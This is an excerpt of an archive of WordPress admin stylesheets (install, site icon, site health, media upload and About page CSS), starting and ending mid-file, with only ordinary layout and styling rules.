.wp-picker-input-wrap .button.wp-picker-clear,.wp-customizer .wp-picker-input-wrap .button.wp-picker-default{padding:0 8px;font-size:14px;line-height:2.14285714;min-height:32px}.wp-picker-container .wp-color-result.button{padding:0 40px 0 0;font-size:14px;line-height:2.14285714}.wp-customizer .wp-picker-container .wp-color-result.button{font-size:14px;line-height:2.14285714}.wp-picker-container .wp-color-result-text{padding:0 14px;font-size:inherit;line-height:inherit}.wp-customizer .wp-picker-container .wp-color-result-text{padding:0 10px}} css/install-rtl.css 0000644 00000014541 15233246127 0010325 0 ustar 00 /*! This file is auto-generated */ html { background: #f0f0f1; margin: 0 20px; } body { background: #fff; border: 1px solid #c3c4c7; color: #3c434a; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; margin: 140px auto 25px; padding: 20px 20px 10px; max-width: 700px; -webkit-font-smoothing: subpixel-antialiased; box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); } a { color: var(--wp-admin-theme-color); } a:hover, a:active { color: var(--wp-admin-theme-color-darker-20); } a:focus { color: var(--wp-admin-theme-color-darker-20); border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } h1, h2 { border-bottom: 1px solid #dcdcde; clear: both; color: #646970; font-size: 24px; padding: 0 0 7px; font-weight: 400; } h3 { font-size: 16px; } p, li, dd, dt { padding-bottom: 2px; font-size: 14px; line-height: 1.5; } code, .code { font-family: Consolas, Monaco, monospace; } ul, ol, dl { padding: 5px 22px 5px 5px; } a img { border: 0 } abbr { border: 0; font-variant: normal; } fieldset { border: 0; padding: 0; margin: 0; } #logo { margin: -130px auto 25px; padding: 0 0 25px; width: 84px; height: 84px; overflow: hidden; background-image: url(../images/w-logo-gray.png?ver=20260303); background-image: none, url(../images/wordpress-logo-gray.svg?ver=20260303); background-size: 84px; background-position: center top; background-repeat: no-repeat; color: #3c434a; /* same as login.css */ font-size: 20px; font-weight: 400; line-height: 1.3em; text-decoration: none; text-align: center; text-indent: -9999px; outline: none; } .step { margin: 20px 0 15px; } .step, th { text-align: right; padding: 0; } .language-chooser.wp-core-ui .step .button.button-large { font-size: 14px; } textarea { border: 1px solid #dcdcde; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; width: 100%; box-sizing: border-box; } .form-table { border-collapse: collapse; margin-top: 1em; width: 100%; } .form-table td { margin-bottom: 9px; padding: 10px 0 10px 20px; font-size: 14px; vertical-align: top } .form-table th { font-size: 14px; text-align: right; padding: 10px 0 10px 20px; width: 115px; vertical-align: top; } .form-table code { line-height: 1.28571428; font-size: 14px; } .form-table p { margin: 4px 0 0; font-size: 11px; } .form-table .setup-description { margin: 4px 0 0; line-height: 1.6; } .form-table input { line-height: 1.33333333; font-size: 15px; padding: 3px 5px; } .wp-pwd { margin-top: 0; } .form-table .wp-pwd { display: flex; column-gap: 4px; } .form-table .password-input-wrapper { width: 100%; } input, submit { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; } .form-table input[type=text], .form-table input[type=email], .form-table input[type=url], .form-table input[type=password], #pass-strength-result { width: 100%; } .form-table th p { font-weight: 400; } .form-table.install-success th, .form-table.install-success td { vertical-align: middle; padding: 16px 0 16px 20px; } .form-table.install-success td p { margin: 0; font-size: 14px; } .form-table.install-success td code { margin: 0; font-size: 18px; } #error-page { margin-top: 50px; } #error-page p { font-size: 14px; line-height: 1.28571428; margin: 25px 0 20px; } #error-page code, .code { font-family: Consolas, Monaco, monospace; } .message { border-right: 4px solid #d63638; padding: .7em .6em; background-color: #fcf0f1; } /* rtl:ignore */ #dbname, #uname, #pwd, #dbhost, #prefix, #user_login, #admin_email, #pass1, #pass2 { direction: ltr; } /* localization */ body.rtl, .rtl textarea, .rtl input, .rtl submit { font-family: Tahoma, sans-serif; } :lang(he-il) body.rtl, :lang(he-il) .rtl textarea, :lang(he-il) .rtl input, :lang(he-il) .rtl submit { font-family: Arial, sans-serif; } @media only screen and (max-width: 799px) { body { margin-top: 115px; } #logo a { margin: -125px auto 30px; } } @media screen and (max-width: 782px) { .form-table { margin-top: 0; } .form-table th, .form-table td { display: block; width: auto; vertical-align: middle; } .form-table th { padding: 20px 0 0; } .form-table td { padding: 5px 0; border: 0; margin: 0; } textarea, input { font-size: 16px; } .form-table td input[type="text"], .form-table td input[type="email"], .form-table td input[type="url"], .form-table td input[type="password"], .form-table td select, .form-table td textarea, .form-table span.description { width: 100%; font-size: 16px; line-height: 1.5; padding: 7px 10px; display: block; max-width: none; box-sizing: border-box; } #pwd { padding-left: 2.5rem; } .wp-pwd #pass1 { padding-left: 50px; } .wp-pwd .button.wp-hide-pw { left: 0; } #pass-strength-result { width: 100%; } } body.language-chooser { max-width: 300px; } .language-chooser select { padding: 8px; width: 100%; display: block; border: 1px solid #dcdcde; background: #fff; color: #2c3338; font-size: 16px; font-family: Arial, sans-serif; font-weight: 400; } .language-chooser select:focus { color: #2c3338; } .language-chooser select option:hover, .language-chooser select option:focus { color: var(--wp-admin-theme-color-darker-20); } .language-chooser .step { text-align: left; } .screen-reader-input, .screen-reader-text { border: 0; clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; /* Many screen reader and browser combinations announce broken words as they would appear visually. */ word-wrap: normal !important; word-break: normal !important; } .spinner { background: url(../images/spinner.gif) no-repeat; background-size: 20px 20px; visibility: hidden; opacity: 0.7; filter: alpha(opacity=70); width: 20px; height: 20px; margin: 2px 5px 0; } .step .spinner { display: inline-block; vertical-align: middle; margin-left: 15px; } .button.hide-if-no-js, .hide-if-no-js { display: none; } /** * HiDPI Displays */ @media print, (min-resolution: 120dpi) { .spinner { background-image: url(../images/spinner-2x.gif); } } css/site-icon.min.css 0000644 00000007542 15233246127 0010537 0 ustar 00 /*! This file is auto-generated */ .site-icon-section{--site-icon-removal:#b32d2e}.site-icon-preview{--site-icon-input-border:#8c8f94;--site-icon-preview-background:#fff;--site-icon-preview-browser-top:#dcdcde;--site-icon-preview-browser-bottom:#a7aaad;--site-icon-preview-browser-border:rgba(255, 255, 255, 0.2);--site-icon-address-bar-background:#f0f0f1;--site-icon-address-bar-close:#646970;--site-icon-address-bar-text:#3c434a;--site-icon-shadow-1:rgba(0, 0, 0, 0.1);--site-icon-shadow-2:rgba(0, 0, 0, 0.2);--site-icon-shadow-3:rgba(0, 0, 0, 0.5);direction:initial;display:flex;height:60px;padding:8px 0 0 8px;align-items:flex-start;position:relative;overflow:hidden;box-sizing:border-box;border:1px solid var(--site-icon-input-border);border-radius:4px;background-color:var(--site-icon-preview-background);width:275px}@media (prefers-color-scheme:dark){.site-icon-preview{--site-icon-preview-browser-top:#2c3338;--site-icon-preview-browser-bottom:#111;--site-icon-address-bar-background:#3c434a;--site-icon-address-bar-close:#f0f0f1;--site-icon-address-bar-text:#f0f0f1}}.site-icon-preview.settings{height:88px;padding:16px 0 0 16px;width:350px;margin:0 0 16px 0}.site-icon-preview.crop{width:258px;height:100%;display:grid;grid-template-columns:8px 1fr;grid-template-rows:64px 1fr;padding-left:0;row-gap:16px;direction:inherit}.site-icon-preview.hidden{display:none}.site-icon-preview .direction-wrap{grid-template-columns:44px 1fr;gap:8px;display:grid;direction:ltr;height:100%;width:100%}.site-icon-preview.settings .direction-wrap{grid-template-columns:58px 1fr;gap:16px}.site-icon-preview:after{--after-size:150%;aspect-ratio:1/1;content:"";display:block;position:absolute;top:0;left:0;width:var(--after-size);transform:translate(calc(var(--after-size) * -.125),calc(var(--after-size) * -.125));filter:blur(5px);opacity:.5;background:var(--site-icon-url)}.site-icon-preview .app-icon-preview{aspect-ratio:1/1;border-radius:10px;box-shadow:0 1px 5px 0 var(--site-icon-shadow-3);flex-shrink:0;width:100%;z-index:1}.site-icon-preview-browser{display:flex;padding:4px 4px 0 12px;align-items:flex-start;gap:16px;flex:1 0 0;z-index:1;border-top-left-radius:10px;border-top:1px solid var(--site-icon-preview-browser-border);border-left:1px solid var(--site-icon-preview-browser-border);background:linear-gradient(180deg,var(--site-icon-preview-browser-top) 0,var(--site-icon-preview-browser-bottom) 100%);box-shadow:0 10px 22px 0 var(--site-icon-shadow-2)}.site-icon-preview .browser-buttons{width:48px;height:40px;fill:var(--site-icon-input-border)}.site-icon-preview-tab{padding:8px;align-items:center;gap:8px;flex:1 0 0;border-radius:4px;background-color:var(--site-icon-address-bar-background);box-shadow:0 1px 3px 0 var(--site-icon-shadow-1);display:grid;grid-template-columns:24px auto 24px}.site-icon-preview-browser .browser-icon-preview{box-shadow:0 0 20px 0 var(--site-icon-shadow-1)}.site-icon-preview-tab>img,.site-icon-preview-tab>svg{width:24px;height:24px}.site-icon-preview-tab>svg{fill:var(--site-icon-address-bar-close)}.site-icon-preview-site-title{color:var(--site-icon-address-bar-text);text-overflow:ellipsis;white-space:nowrap;overflow:hidden;font-weight:500}.site-icon-preview-crop-modal .image-preview-wrap.app-icon-preview{width:64px;height:64px;margin:0;grid-column:2}.site-icon-preview-crop-modal .site-icon-preview-browser{grid-column:2}.site-icon-preview-crop-modal .image-preview-wrap{overflow:hidden;aspect-ratio:1/1}.site-icon-preview-crop-modal .image-preview-wrap.browser{width:24px;height:24px}button.reset.remove-site-icon{color:var(--site-icon-removal);text-decoration:none;border-color:currentColor;box-shadow:none;background:0 0}button.reset.remove-site-icon:focus,button.reset.remove-site-icon:hover{background:var(--site-icon-removal);color:#fff;border-color:var(--site-icon-removal);box-shadow:0 0 0 1px var(--site-icon-removal)}.site-icon-action-buttons{display:flex;flex-wrap:wrap;gap:10px} css/wp-admin-rtl.min.css 0000644 00000001046 15233246127 0011151 0 ustar 00 /*! This file is auto-generated */ @import url(common-rtl.min.css); @import url(forms-rtl.min.css); @import url(admin-menu-rtl.min.css); @import url(dashboard-rtl.min.css); @import url(list-tables-rtl.min.css); @import url(edit-rtl.min.css); @import url(revisions-rtl.min.css); @import url(media-rtl.min.css); @import url(themes-rtl.min.css); @import url(about-rtl.min.css); @import url(nav-menus-rtl.min.css); @import url(widgets-rtl.min.css); @import url(site-icon-rtl.min.css); @import url(l10n-rtl.min.css); @import url(site-health-rtl.min.css); css/view-transitions.css 0000644 00000000271 15233246127 0011400 0 ustar 00 @media (prefers-reduced-motion: no-preference) { @view-transition { navigation: auto; } #adminmenu > .menu-top { view-transition-name: attr(id type(<custom-ident>), none); } } css/farbtastic-rtl.min.css 0000644 00000001032 15233246127 0011552 0 ustar 00 /*! This file is auto-generated */ .farbtastic{position:relative}.farbtastic *{position:absolute;cursor:crosshair}.farbtastic,.farbtastic .wheel{width:195px;height:195px}.farbtastic .color,.farbtastic .overlay{top:47px;right:47px;width:101px;height:101px}.farbtastic .wheel{background:url(../images/wheel.png) no-repeat;width:195px;height:195px}.farbtastic .overlay{background:url(../images/mask.png) no-repeat}.farbtastic .marker{width:17px;height:17px;margin:-8px -8px 0 0;overflow:hidden;background:url(../images/marker.png) no-repeat} css/deprecated-media-rtl.css 0000644 00000014776 15233246127 0012046 0 ustar 00 /*! This file is auto-generated */ /* Styles for the media library iframe (not used on the Library screen) */ div#media-upload-header { margin: 0; padding: 5px 5px 0; font-weight: 600; position: relative; border-bottom: 1px solid #dcdcde; background: #f6f7f7; } #sidemenu { overflow: hidden; float: none; position: relative; right: 0; bottom: -1px; margin: 0 5px; padding-right: 10px; list-style: none; font-size: 12px; font-weight: 400; } #sidemenu a { padding: 0 7px; display: block; float: right; line-height: 28px; border-top: 1px solid #f6f7f7; border-bottom: 1px solid #dcdcde; background-color: #f6f7f7; text-decoration: none; transition: none; } #sidemenu li { display: inline; line-height: 200%; list-style: none; text-align: center; white-space: nowrap; margin: 0; padding: 0; } #sidemenu a.current { font-weight: 400; padding-right: 6px; padding-left: 6px; border: 1px solid #dcdcde; border-bottom-color: #f0f0f1; background-color: #f0f0f1; color: #000; } #media-upload:after { /* clearfix */ content: ""; display: table; clear: both; } #media-upload .slidetoggle { border-top-color: #dcdcde; } #media-upload input[type="radio"] { padding: 0; } .media-upload-form label.form-help, td.help { color: #646970; } form { margin: 1em; } #search-filter { text-align: left; } th { position: relative; } .media-upload-form label.form-help, td.help { font-family: sans-serif; font-style: italic; font-weight: 400; } .media-upload-form p.help { margin: 0; padding: 0; } .media-upload-form fieldset { width: 100%; border: none; text-align: justify; margin: 0 0 1em; padding: 0; } /* specific to the image upload form */ .image-align-none-label { background: url(../images/align-none.png) no-repeat center right; } .image-align-left-label { background: url(../images/align-left.png) no-repeat center right; } .image-align-center-label { background: url(../images/align-center.png) no-repeat center right; } .image-align-right-label { background: url(../images/align-right.png) no-repeat center right; } tr.image-size td { width: 460px; } tr.image-size div.image-size-item { margin: 0 0 5px; } #library-form .progress, #gallery-form .progress, .insert-gallery, .describe.startopen, .describe.startclosed { display: none; } .media-item .thumbnail { max-width: 128px; max-height: 128px; } thead.media-item-info tr { background-color: transparent; } .form-table thead.media-item-info { border: 8px solid #fff; } abbr.required, span.required { text-decoration: none; border: none; } .describe label { display: inline; } .describe td.error { padding: 2px 8px; } .describe td.A1 { width: 132px; } .describe input[type="text"], .describe textarea { width: 460px; border-width: 1px; border-style: solid; } /* Specific to Uploader */ #media-upload p.ml-submit { padding: 1em 0; } #media-upload p.help, #media-upload label.help { font-family: sans-serif; font-style: italic; font-weight: 400; } #media-upload .ui-sortable .media-item { cursor: move; } #media-upload tr.image-size { margin-bottom: 1em; height: 3em; } #media-upload #filter { width: 623px; } #media-upload #filter .subsubsub { margin: 8px 0; } #media-upload .tablenav-pages a, #media-upload .tablenav-pages .current { display: inline-block; padding: 4px 5px 6px; font-size: 16px; line-height: 1; text-align: center; text-decoration: none; } #media-upload .tablenav-pages a { min-width: 17px; border: 1px solid #c3c4c7; background: #f6f7f7; } #filter .tablenav select { border-style: solid; border-width: 1px; padding: 2px; vertical-align: top; width: auto; } #media-upload .del-attachment { display: none; margin: 5px 0; } .menu_order { float: left; font-size: 11px; margin: 8px 10px 0; } .menu_order_input { border: 1px solid #dcdcde; font-size: 10px; padding: 1px; width: 23px; } .ui-sortable-helper { background-color: #fff; border: 1px solid #a7aaad; opacity: 0.6; filter: alpha(opacity=60); } #media-upload th.order-head { width: 20%; text-align: center; } #media-upload th.actions-head { width: 25%; text-align: center; } #media-upload a.wp-post-thumbnail { margin: 0 20px; } #media-upload .widefat { border-style: solid solid none; } .sorthelper { height: 37px; width: 623px; display: block; } #gallery-settings th.label { width: 160px; } #gallery-settings #basic th.label { padding: 5px 0 5px 5px; } #gallery-settings .title { clear: both; padding: 0 0 3px; font-size: 1.6em; border-bottom: 1px solid #dcdcde; } h3.media-title { font-size: 1.6em; } h4.media-sub-title { border-bottom: 1px solid #dcdcde; font-size: 1.3em; margin: 12px; padding: 0 0 3px; } #gallery-settings .title, h3.media-title, h4.media-sub-title { font-family: Georgia,"Times New Roman",Times,serif; font-weight: 400; color: #50575e; } #gallery-settings .describe td { vertical-align: middle; height: 3em; } #gallery-settings .describe th.label { padding-top: .5em; text-align: right; } #gallery-settings .describe { padding: 5px; width: 100%; clear: both; cursor: default; background: #fff; } #gallery-settings .describe select { width: 15em; } #gallery-settings .describe select option, #gallery-settings .describe td { padding: 0; } #gallery-settings label, #gallery-settings legend { font-size: 13px; color: #3c434a; margin-left: 15px; } #gallery-settings .align .field label { margin: 0 3px 0 1em; } #gallery-settings p.ml-submit { border-top: 1px solid #dcdcde; } #gallery-settings select#columns { width: 6em; } #sort-buttons { font-size: 0.8em; margin: 3px 0 -8px 25px; text-align: left; max-width: 625px; } #sort-buttons a { text-decoration: none; } #sort-buttons #asc, #sort-buttons #showall { padding-right: 5px; } #sort-buttons span { margin-left: 25px; } p.media-types { margin: 0; padding: 1em; } p.media-types-required-info { padding-top: 0; } tr.not-image { display: none; } table.not-image tr.not-image { display: table-row; } table.not-image tr.image-only { display: none; } /** * HiDPI Displays */ @media print, (min-resolution: 120dpi) { .image-align-none-label { background-image: url(../images/align-none-2x.png?ver=20120916); background-size: 21px 15px; } .image-align-left-label { background-image: url(../images/align-left-2x.png?ver=20120916); background-size: 22px 15px; } .image-align-center-label { background-image: url(../images/align-center-2x.png?ver=20120916); background-size: 21px 15px; } .image-align-right-label { background-image: url(../images/align-right-2x.png?ver=20120916); background-size: 22px 15px; } } css/site-health.min.css 0000644 00000012372 15233246127 0011051 0 ustar 00 /*! This file is auto-generated */ .health-check-body h2{line-height:1.4}.health-check-body h3{padding:0;font-weight:400}.site-health-progress-wrapper{margin-bottom:1rem}.site-health-progress{display:inline-block;height:20px;width:20px;margin:0;border-radius:100%;position:relative;font-weight:600;font-size:.4rem}.site-health-progress-count{position:absolute;display:block;height:80px;width:80px;left:50%;top:50%;margin-top:-40px;margin-left:-40px;border-radius:100%;line-height:6.3;font-size:2em}.loading .site-health-progress svg #bar{stroke-dashoffset:0;stroke:#c3c4c7;animation:loadingPulse 3s infinite ease-in-out}.site-health-progress svg circle{stroke-dashoffset:0;transition:stroke-dashoffset 1s linear;stroke:#c3c4c7;stroke-width:2em}.site-health-progress svg #bar{stroke-dashoffset:565;stroke:#d63638}.green .site-health-progress #bar{stroke:#00a32a}.green .site-health-progress .site-health-progress-label{color:#00a32a}.orange .site-health-progress #bar{stroke:#dba617}.orange .site-health-progress .site-health-progress-label{color:#dba617}.site-health-progress-label{font-weight:600;line-height:20px;margin-left:.3rem}@keyframes loadingPulse{0%{stroke:#c3c4c7}50%{stroke:var(--wp-admin-theme-color)}100%{stroke:#c3c4c7}}.health-check-tabs-wrapper{display:-ms-inline-grid;-ms-grid-columns:1fr 1fr 1fr 1fr;vertical-align:top;display:inline-grid;grid-template-columns:1fr 1fr 1fr 1fr}.health-check-tabs-wrapper.tab-count-1{grid-template-columns:1fr}.health-check-tabs-wrapper.tab-count-2{grid-template-columns:1fr 1fr}.health-check-tabs-wrapper.tab-count-3{grid-template-columns:1fr 1fr 1fr}.health-check-tab{display:block;text-decoration:none;color:inherit;padding:.5rem 1rem 1rem;margin:0 1rem;transition:box-shadow .5s ease-in-out}.health-check-offscreen-nav-wrapper{position:relative;background:0 0;border:none}.health-check-offscreen-nav-wrapper:focus .health-check-offscreen-nav{left:initial}.health-check-offscreen-nav{display:none;position:absolute;padding-top:10px;right:0;top:100%;width:13rem}.health-check-offscreen-nav-wrapper.visible .health-check-offscreen-nav{display:inline-block}.health-check-offscreen-nav:before{position:absolute;content:"";width:0;height:0;border-style:solid;border-width:0 10px 5px;border-color:transparent transparent #fff;right:20px;top:5px}.health-check-offscreen-nav .health-check-tab{background:#fff;box-shadow:0 2px 5px 0 rgba(0,0,0,.75)}.health-check-offscreen-nav .health-check-tab.active{box-shadow:inset 3px 0 #3582c4;font-weight:600}.health-check-body{max-width:800px;margin:0 auto}.widefat.health-check-table th{font-size:13px}.health-check-table td:first-child{width:30%}.health-check-table td{width:70%}.health-check-table ol,.health-check-table ul{margin:0}.health-check-body li{line-height:1.5}.health-check-body .good::before,.health-check-body .pass::before{content:"\f147";content:"\f147"/'';color:#00a32a}.health-check-body .warning::before{content:"\f460";content:"\f460"/'';color:#dba617}.health-check-body .info::before{content:"\f348";content:"\f348"/'';color:#72aee6}.health-check-body .error::before,.health-check-body .fail::before{content:"\f335";content:"\f335"/'';color:#d63638}.site-health-copy-buttons{margin:1rem 0}.site-health-copy-buttons .copy-button-wrapper{display:inline-flex;align-items:center;margin:.5rem 0 1rem}.site-health-copy-buttons .success{color:#007017;margin-left:.5rem}.site-status-has-issues.hide{display:none}.site-health-view-more{text-align:center}.site-health-issues-wrapper:first-of-type{margin-top:3rem}.site-health-issues-wrapper{margin-bottom:3rem;margin-top:2rem}.site-status-all-clear{display:flex;flex-direction:column;align-items:center;justify-content:center;text-align:center;height:100%;width:100%;margin:0 0 3rem}@media all and (min-width:784px){.site-status-all-clear{margin:2rem 0 5rem}}.site-status-all-clear.hide{display:none}.site-status-all-clear .dashicons{font-size:150px;height:150px;margin-bottom:2rem;width:150px}.site-status-all-clear .encouragement{font-size:1.5rem;font-weight:600}.site-status-all-clear p{margin:0}.wp-core-ui .button.site-health-view-passed{position:relative;padding-right:40px;padding-left:20px}.health-check-wp-paths-sizes.spinner{visibility:visible;float:none;margin:0 4px;flex-shrink:0}#dashboard_site_health .site-health-details{padding-left:16px}#dashboard_site_health .site-health-details p:first-child{margin-top:0}#dashboard_site_health .site-health-details p:last-child{margin-bottom:0}#dashboard_site_health .health-check-widget{display:grid;grid-template-columns:1fr 2fr;grid-auto-rows:minmax(64px,auto);column-gap:16px;align-items:center}#dashboard_site_health .site-health-progress-label{margin-left:0}.health-check-widget-title-section{margin-bottom:0;text-align:center}@media screen and (max-width:480px){#dashboard_site_health .health-check-widget{grid-template-columns:100%}}@media screen and (max-width:782px){.site-health-issues-wrapper .health-check-accordion-trigger{flex-direction:column;align-items:flex-start}.health-check-accordion-trigger .badge{margin:1em 0 0}.health-check-table{table-layout:fixed}.health-check-table td,.health-check-table th{box-sizing:border-box;display:block;width:100%;word-wrap:break-word}.health-check-table td:first-child,.widefat.health-check-table th{width:100%;padding-bottom:0;font-weight:600}.wp-core-ui .site-health-copy-buttons .copy-button{margin-bottom:0}} css/about.min.css 0000644 00000052571 15233246127 0007761 0 ustar 00 /*! This file is auto-generated */ .about__container{--background:#ebe8e5;--subtle-background:#ebe8e5;--text:#1e1e1e;--text-light:#fff;--accent-1:#3858e9;--accent-2:#183ad6;--accent-3:#ececec;--accent-gradient:linear-gradient(90deg, #000000 4.7%, var(--accent-1) 83.84%);--nav-background:#fff;--nav-border:transparent;--nav-color:var(--text);--nav-current:var(--accent-1);--border-radius:0.5rem;--gap:2rem}.about-php,.contribute-php,.credits-php,.freedoms-php,.privacy-php{background:#fff}.about-php #wpcontent,.contribute-php #wpcontent,.credits-php #wpcontent,.freedoms-php #wpcontent,.privacy-php #wpcontent{background:#fff;padding:0 24px}@media screen and (max-width:782px){.about-php.auto-fold #wpcontent,.contribute-php.auto-fold #wpcontent,.credits-php.auto-fold #wpcontent,.freedoms-php.auto-fold #wpcontent,.privacy-php.auto-fold #wpcontent{padding-left:24px}}.about__container{max-width:1000px;margin:24px auto;clear:both}.about__container .alignleft{float:left}.about__container .alignright{float:right}.about__container .aligncenter{text-align:center}.about__container .is-vertically-aligned-top{align-self:start}.about__container .is-vertically-aligned-center{align-self:center}.about__container .is-vertically-aligned-bottom{align-self:end}.about__section{background:0 0;clear:both}.about__container .has-accent-background-color{color:var(--text-light);background-color:var(--accent-2)}.about__container .has-transparent-background-color{background-color:transparent}.about__container .has-accent-color{color:var(--accent-2)}.about__container .has-border{border:3px solid currentColor}.about__container .has-subtle-background-color{background-color:var(--subtle-background);border-radius:var(--border-radius)}.about__container .has-background-image{background-size:contain;background-repeat:no-repeat;background-position:center}.about__section{margin:0}.about__section .column:not(.is-edge-to-edge){padding:var(--gap)}.about__section .column.is-left-padding-zero{padding-left:0}.about__section .column.is-right-padding-zero{padding-right:0}.about__section+.about__section .is-section-header{padding-bottom:var(--gap)}.about__section .column.has-border:not(.is-edge-to-edge),.about__section .column[class*=background-color]:not(.is-edge-to-edge),.about__section:where([class*=background-color]) .column:not(.is-edge-to-edge){padding-top:var(--gap);padding-bottom:var(--gap)}.about__section .column p:first-of-type{margin-top:0}.about__section .column p:last-of-type{margin-bottom:0}.about__section .has-text-columns{columns:2;column-gap:calc(var(--gap) * 2)}.about__section .is-section-header{margin-bottom:0;padding:var(--gap) var(--gap) 0}.about__section .is-section-header p:last-child{margin-bottom:0}.about__section .is-section-header:first-child:last-child{padding:0}.about__section.is-feature{padding:var(--gap)}.about__section.is-feature p{margin:0}.about__section.is-feature p+p{margin-top:calc(var(--gap)/ 2)}.about__section.has-1-column{margin-left:auto;margin-right:auto;max-width:36em}.about__section.has-2-columns,.about__section.has-3-columns,.about__section.has-4-columns,.about__section.has-overlap-style{display:grid}.about__section.has-gutters{gap:var(--gap);margin-bottom:var(--gap)}.about__section.has-2-columns{grid-template-columns:1fr 1fr}.about__section.has-2-columns.is-wider-right{grid-template-columns:2fr 3fr}.about__section.has-2-columns.is-wider-left{grid-template-columns:3fr 2fr}.about__section .is-section-header{grid-column-start:1;grid-column-end:-1}.about__section.has-3-columns{grid-template-columns:repeat(3,1fr)}.about__section.has-4-columns{grid-template-columns:repeat(4,1fr)}.about__section.has-overlap-style{grid-template-columns:repeat(7,1fr)}.about__section.has-overlap-style .column{grid-row-start:1}.about__section.has-overlap-style .column:nth-of-type(odd){grid-column-start:2;grid-column-end:span 3}.about__section.has-overlap-style .column:nth-of-type(2n){grid-column-start:4;grid-column-end:span 3}.about__section.has-overlap-style .column.is-top-layer{z-index:1}@media screen and (max-width:782px){.about__section.has-2-columns.is-wider-left,.about__section.has-2-columns.is-wider-right,.about__section.has-3-columns{display:block;margin-bottom:calc(var(--gap)/ 2)}.about__section .column:not(.is-edge-to-edge){padding-top:var(--gap);padding-bottom:var(--gap)}.about__section.has-2-columns.has-gutters.is-wider-left,.about__section.has-2-columns.has-gutters.is-wider-right,.about__section.has-3-columns.has-gutters{margin-bottom:calc(var(--gap) * 2)}.about__section.has-2-columns.has-gutters .column,.about__section.has-3-columns.has-gutters .column{margin-bottom:var(--gap)}.about__section.has-2-columns.has-gutters .column:last-child,.about__section.has-3-columns.has-gutters .column:last-child{margin-bottom:0}.about__section.has-3-columns .column:nth-of-type(n){padding-top:calc(var(--gap)/ 2);padding-bottom:calc(var(--gap)/ 2)}.about__section.has-4-columns{grid-template-columns:repeat(2,1fr)}.about__section.has-overlap-style{grid-template-columns:1fr}.about__section.has-overlap-style .column.column{grid-column-start:1;grid-column-end:2;grid-row-start:1;grid-row-end:2}}@media screen and (max-width:600px){.about__section.has-2-columns{display:block;margin-bottom:var(--gap)}.about__section.has-2-columns:not(.has-gutters) .column:nth-of-type(n){padding-top:calc(var(--gap)/ 2);padding-bottom:calc(var(--gap)/ 2)}.about__section.has-2-columns.has-gutters{margin-bottom:calc(var(--gap) * 2)}.about__section.has-2-columns.has-gutters .column{margin-bottom:var(--gap)}.about__section.has-2-columns.has-gutters .column:last-child{margin-bottom:0}.about__section .column.is-left-padding-zero{padding-right:0}.about__section .column.is-right-padding-zero{padding-left:0}}@media screen and (max-width:480px){.about__section .is-section-header,.about__section.is-feature .column{padding:0}.about__section.has-4-columns{display:block;padding-bottom:calc(var(--gap)/ 2)}.about__section.has-4-columns.has-gutters .column{margin-bottom:calc(var(--gap)/ 2)}.about__section.has-4-columns.has-gutters .column:last-child{margin-bottom:0}.about__section.has-4-columns .column:nth-of-type(n){padding-top:calc(var(--gap)/ 2);padding-bottom:calc(var(--gap)/ 2)}}.about__container{line-height:1.4;color:var(--text)}.about__container h1{padding:0}.about__container h1,.about__container h2,.about__container h3.is-larger-heading{margin-top:0;margin-bottom:calc(.5 * var(--gap));font-size:2rem;font-weight:700;line-height:1.16}.about__container h1.is-smaller-heading,.about__container h2.is-smaller-heading,.about__container h3{margin-top:0;margin-bottom:calc(.5 * var(--gap));font-size:1.625rem;font-weight:700;line-height:1.4}.about__container h3.is-smaller-heading,.about__container h4{margin-top:0;font-size:1.125rem;font-weight:600;line-height:1.6}.about__container h1,.about__container h2,.about__container h3,.about__container h4{text-wrap:pretty;color:inherit}.about__container :is(h1,h2,h3,h4,.about__header-text):lang(en){text-wrap:balance}.about__container p{text-wrap:pretty}.about__container p{font-size:inherit;line-height:inherit}.about__container p.is-subheading{margin-top:0;margin-bottom:1rem;font-size:1.5rem;font-weight:300;line-height:160%}.about__section a{color:var(--accent-1);text-decoration:underline}.about__section a:active,.about__section a:focus,.about__section a:hover{color:var(--accent-1);text-decoration:none}.wp-credits-list a{text-decoration:none}.wp-credits-list a:active,.wp-credits-list a:focus,.wp-credits-list a:hover{text-decoration:underline}.about__section a.button.button-hero{padding-top:1.1875rem;padding-bottom:1.1875rem;font-size:1.5rem;line-height:1.4;white-space:normal;text-wrap:pretty}.about__container ul{list-style:disc;margin-left:calc(var(--gap)/ 2)}.about__container li{margin-bottom:.5rem}.about__container img{margin:0;max-width:100%;vertical-align:middle}.about__container .about__image{margin:0}.about__container .about__image img{max-width:100%;width:100%;height:auto;border-radius:var(--border-radius)}.about__container .about__image figcaption{margin-top:.5em;text-align:center}.about__container .about__image .wp-video{margin-left:auto;margin-right:auto}.about__container .about__image svg{vertical-align:middle}.about__container .about__image+h3{margin-top:calc(.75 * var(--gap))}.about__container hr{margin:calc(var(--gap)/ 2) var(--gap);height:0;border:none;border-top:4px solid var(--accent-3)}.about__container hr.is-small{margin-top:0;margin-bottom:0}.about__container hr.is-large{margin:var(--gap) auto}.about__container hr.is-invisible{border:none}.about__container .notice,.about__container div.error,.about__container div.updated{display:none!important}.about__container code{font-size:inherit}.about__section{font-size:1.125rem;line-height:1.55}.about__section.is-feature{font-size:1.6em}.about__section.has-3-columns,.about__section.has-4-columns{font-size:1rem}@media screen and (max-width:480px){.about__section.is-feature{font-size:1.4em}.about__container h1,.about__container h2,.about__container h3.is-larger-heading{font-size:2em}}.about__header{position:relative;display:flex;flex-direction:column;align-items:flex-start;justify-content:flex-end;box-sizing:border-box;padding:calc(var(--gap) * 1.5);padding-right:26rem;min-height:clamp(10rem,25vw,18.75rem);border-radius:var(--border-radius);background-image:url("../images/about-header-default.webp?ver=20260514");background-repeat:no-repeat;background-position:right center;background-size:cover;background-color:var(--background);color:var(--text-light)}.credits-php .about__header{background-image:url("../images/about-header-credits.webp?ver=20260514")}.freedoms-php 